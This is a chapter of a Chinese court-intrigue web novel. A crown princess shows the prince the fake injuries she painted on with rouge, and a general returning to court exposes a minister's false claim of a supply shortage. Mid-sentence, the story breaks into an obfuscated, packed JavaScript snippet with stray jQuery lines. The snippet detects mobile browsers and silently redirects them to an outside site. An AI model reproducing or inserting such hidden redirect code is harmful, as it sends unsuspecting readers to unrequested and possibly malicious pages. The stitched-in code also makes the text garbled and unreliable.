明明没有撞到人，但叶小寻的身子却像是被那阵看不见的风浪狠狠拍了一下。


    随着师贵妃那迤逦的赤金裙摆消失在门槛之外，叶小寻身形一晃，软软地向旁侧倒去，如同一片凋零的白梨花。


    “娘娘！”祝凝还跪在原地，神情紧张地看着叶小寻。


    东宫正殿内原本死一般的寂静被这一声惊呼打破。


    直到师贵妃的仪仗声势浩大地远去，连那脚步声都听不见了，叶小寻才发出一声极轻的“哎呦”。


    她一点点地从地上用手肘撑起身体。


    祝凝忙不迭地从地上爬起来，膝盖跪得生疼也顾不上，几步并作一步冲过去扶她，声音里带着哭腔：“娘娘，您没事吧？可有磕着碰着哪儿？”


    叶小寻借着祝凝的力道站稳，无所谓地摆摆手，拍了拍裙摆上并不存在的灰尘，声音虽然沙哑，却恢复了平日的活力：“没那么脆弱。”


    她环视了一圈殿内冷汗涔涔的宫人们，长舒了一口气。


    “好了，时候也不早了，大家都散了吧，各回各屋歇着，我也想回去睡个回笼觉了。”


    她双手合十，冲着周嬷嬷做了个讨饶的手势：“嬷嬷，您也别念叨我了，今日大家都受惊了，稍微松快松快。”


    众人如蒙大赦。


    周嬷嬷虽然眉头紧锁，但也知道今日若非太子妃机智，东宫怕是难逃一劫，便只嘱咐了祝凝几句，去张罗其他宫殿的善后事宜了。


    叶小寻是真困。


    那一股子精气神儿随着师贵妃的离去而被瞬间抽干。


    她现在软趴趴地瘫在祝凝身上，大半个身子的重量都压了过去。


    “娘娘慢点儿，前面就是寝殿了。”祝凝小心翼翼地搀扶着她。


    好不容易挪到了寝殿门口，祝凝正要伸手推门，门却从里面无声地开了。


    一个影影绰绰的人影在眼前晃荡，叶小寻有些费力地抬起眼皮，是容慎端坐在外殿的罗汉榻上。


    容慎换了一身常服，月白色的锦袍上绣着银色的暗纹，在透过窗棂洒进来的晨光下流转着微光。


    他手里捧着一卷书，听见动静，缓缓抬眸。


    我的乖奶……


    叶小寻呼吸一滞。


    祝凝是个极有眼力见的，一见这架势，立刻便知趣地福了福身：“娘娘，今儿个东宫新进了些香料，据说夹了些西域进贡的果香，是个稀罕玩意儿，奴婢去领些来给您试试安神的效果。”


    说罢，不等叶小寻挽留，便低着头退了出去，顺手还贴心地带上了门。


    殿内只剩下两人。


    静谧流淌，只有窗外偶尔传来的鸟鸣声。


    叶小寻松开原本扶着门框的手，也不顾形象了，拖着步子走到他对面坐下，拿乔道：


    “我还以为殿下会从天而降，来一出英雄救美呢。没想到您倒是早就回来了，却躲在这屋里躲清静，也不出去替我出个头。”


    她一边说着，一边去够桌上的茶盏。


    容慎放下手中的书卷，视线随着她的动作移动。


    他看着她毫无仪态地瘫坐在那儿，那张原本清秀的小脸显得有些滑稽，眼睛却亮得惊人。


    “你一个人也处理得不错。”


    容慎的声音低沉悦耳，像是上好的古琴被拨动了弦。


    他微微倾身，修长的手指拎起茶壶，替她斟了一杯热茶，推到她手边。


    这大概是这位太子爷嘴里能吐出来的最高评价了。


    只稍这么一夸，叶小寻原本耷拉着的眼角瞬间扬了起来，身后的尾巴仿佛都要翘到了天上。


    “你也这么觉得？”


    叶小寻来了精神，那种困倦感都被抛到了九霄云外。


    她一把将头上的帷帽扯下来扔在一旁，那张惨不忍睹的脸毫无遮掩地暴露在容慎面前。


    “我也觉得我聪明绝顶！简直是天才！”


    她凑近了些，指着自己额角，献宝似的给容慎展示她的杰作。


    “当当——看这是什么？”


    她将脸凑过去，两人之间的距离瞬间被拉近，近到容慎甚至能闻到她身上淡淡的皂角香气。


    “想不到吧？看起来虽吓人，其实是胭脂画的！”


    她指指点点，如数家珍：“这儿，这层红的是胭脂膏子打底；这儿，这片青紫色的阴影，是我用墨黛蹭在湿帕子上，轻轻晕染出来的……”


    她越说越得意，眉飞色舞：“那个师贵妃被吓得脸都白了，哈哈哈，你没看见真可惜！”


    容慎没有后退，也没有嫌弃她脸上那些乱七八糟的颜料。


    他静静地看着她近在咫尺的脸，看着她因为兴奋而微微颤动的睫毛，看着她那双灵动狡黠的眼眸里倒映着自己的影子。


    不知不觉间，他原本冷硬的面部线条柔和了下来，眼底竟泛起了一丝从未有过的笑意。


    “我，叶小寻，易容奇才。”


    叶小寻沾沾自喜地扬起下巴，等着他的再次夸奖。


    却见容慎正盯着自己，嘴角噙着一抹笑。


    那笑容虽然很浅，却如冰雪初融，春水破冰，好看得让人移不开眼。


    叶小寻看呆了一瞬，心里莫名漏跳了一拍。


    容慎轻咳一声，掩饰性地端起茶盏抿了一口，对着门外冷声道：


    “祝凝，不是说换新香吗？进来吧。”


    ——


    未过十日，刘大福之死京城人尽皆知。


    门下省左谏议大夫钱安连夜上书陈情，一石激起千层浪，其他文官也纷纷上书，言辞激烈地要求严查皇商刘大福被害一案，要求严惩真凶，此招歹毒，致使国家经济命脉受损，边关告急。


    这一阵风，不仅吹遍了京城，更是顺着官道，一路吹到了北塞。


    手握重兵，镇守边疆的镇国大将军霍宣，在接到消息的第一时间，便连夜策马，赶回了京城。


    夜色如墨，东宫书房内灯火通明。


    一只通体雪白的信鸽穿过夜色，扑棱着翅膀落在了窗棂上。


    涤墨取下信鸽腿上的竹筒，快步走到容慎身边：“殿下，是霍公子的飞书。”


    容慎接过竹筒，倒出里面卷得很细的纸条。


    展开一看，上面只有寥寥数语，字迹狂草，透着一股子焦急：


    “家父启程归京。”


    容慎看着手中的纸条，神色变得凝重起来。


    “殿下，”涤墨低声问道，“要不要拦一下镇国公？”


    容慎将纸条放在烛火上点燃，看着它化为灰烬，摇了摇头：


    “查。沈贼以军饷为盾，贼喊捉贼的可能性极大，你上次取来的账本……”


    涤墨眼睛一亮：“多谢主子提点。”


    不过一月，霍宣归京的消息连同皇帝于勤政殿召见百官的圣旨一同送达。


    大殿之上，文武百官分列两旁，个个噤若寒蝉。


    皇帝强撑着病体，坐在龙椅之上，面色虽然灰败，但那双眼睛依旧锐利，审视着下方的臣子。


    钱安站在文官之首，一脸痛心疾首，手里捧着笏板，声音洪亮地哭诉：


    “陛下！如今刘大福暴毙，商路断绝，户部统计上来，下拨给北塞的军饷出现了巨大的缺口！边关将士苦寒，若是没有粮草，恐生变故啊！老臣恳请陛下，严查刘大福之死，追究相关人等之责，以安军心！”


    他这一番话，说得声泪俱下，仿佛全是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132724|196239||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为了大晟江山社稷着想。


    身后的一众党羽也纷纷附和：“请陛下严查！请陛下严查！”


    容慎立在武官之前，神色淡漠，静静地听着。


    钱安是沈道衍的门客，得除。


    殿外突然传来一声浑厚如洪钟的通报：


    “镇国公霍宣，觐见——！”


    这一声，如同一道惊雷，炸响在勤政殿上。


    钱安的哭诉声戛然而止，不可置信地回头望去。


    只见大殿门口，一道高大魁梧的身影逆光而来。


    霍宣一身戎装未卸，满身风尘，铠甲随着他的走动发出沉闷的撞击声。


    他虽然两鬓微霜，但虎步龙行，周身散发着一股在沙场上浸淫多年的血煞之气，逼得两旁的文官纷纷后退。


    霍宣大步走到殿前，单膝跪地，行了个标准的军礼：


    “臣霍宣，参见陛下！”


    皇帝抬手：“爱卿平身。你不是在北塞驻守吗？怎的突然回京了？”


    霍宣站起身，目光如电，冷冷地扫过一旁的孑然独立的沈道衍，畏畏缩缩的钱安，最后落在皇帝身上，直言不讳：


    “臣听闻朝中有传言，说北塞军饷短缺，上个月的十万石粮草并未送到？更有甚者，说是因为刘大福之死导致军需断供？”


    钱安心中一喜，连忙抢白道：


    “正是！霍将军，您来得正好！您快跟陛下说说，如今边关是不是已经揭不开锅了？这都是因为有人断了商路啊！”


    容慎微微侧头，目光落在霍宣刚毅的侧脸上，袖中的手微微收紧。


    霍宣冷哼一声，转头看向钱安，眼神像是在看一个白痴：


    “钱大人是从何处听来的消息？简直是一派胡言！”


    钱安脸上的表情瞬间凝固：“什……什么？”


    霍宣转向皇帝，朗声道：


    “启禀陛下，上个月的十万石粮草，早已于十日前平安送达北塞大营，分毫不差！将士们早已领到了粮饷，士气正旺！何来的短缺？又何来的断供？！”


    此言一出，满堂哗然。


    钱安的脸色瞬间变得惨白，额头上冷汗涔涔。


    “这……这不可能！”


    “钱大人是在质疑本帅？”霍宣虎目一瞪，杀气腾腾，“本帅亲自清点的粮草，难道还能有假？倒是钱大人，身在京城，却能编造出军饷短缺的谎言来扰乱军心，意欲何为啊？”


    钱安的眼神追着想往沈道衍那边看，又生生停住，腿一软，差点跪下。


    皇帝坐在高位之上，将底下的神情尽收眼底。


    他缓缓开口，声音听不出喜怒，却让钱安如坠冰窟：


    “钱爱卿，霍将军的话，你听清楚了吗？”


    “臣……臣……”钱安哆哆嗦嗦地跪下。


    “此事朕自会查明。钱爱卿近日身子不适，便回府歇息几日吧。”


    钱安瘫软在地，面如死灰。


    退朝之后，百官散去。


    皇帝留下了霍宣和容慎。


    御书房内，皇帝安抚了霍宣几句，承诺定会查清谣言的源头。


    正事谈完，气氛稍微缓和了些。


    霍宣犹豫了片刻，突然拱手道：


    “陛下，臣还有一事相求。”


    皇帝此时心情尚可：“爱卿请讲。”


    霍宣眼中流露出一丝慈父的柔情与急切：“臣离京数载，小女嫁入东宫也有些时日了。臣虽知她已是天家儿媳，但这做父亲的，实在思女心切。听闻近日太子妃身体抱恙，臣心中更是焦急万分。不知陛下能否通融，允臣去东宫……探望小女一眼？”


    话音刚落，御书房内的空气仿佛凝固了一瞬。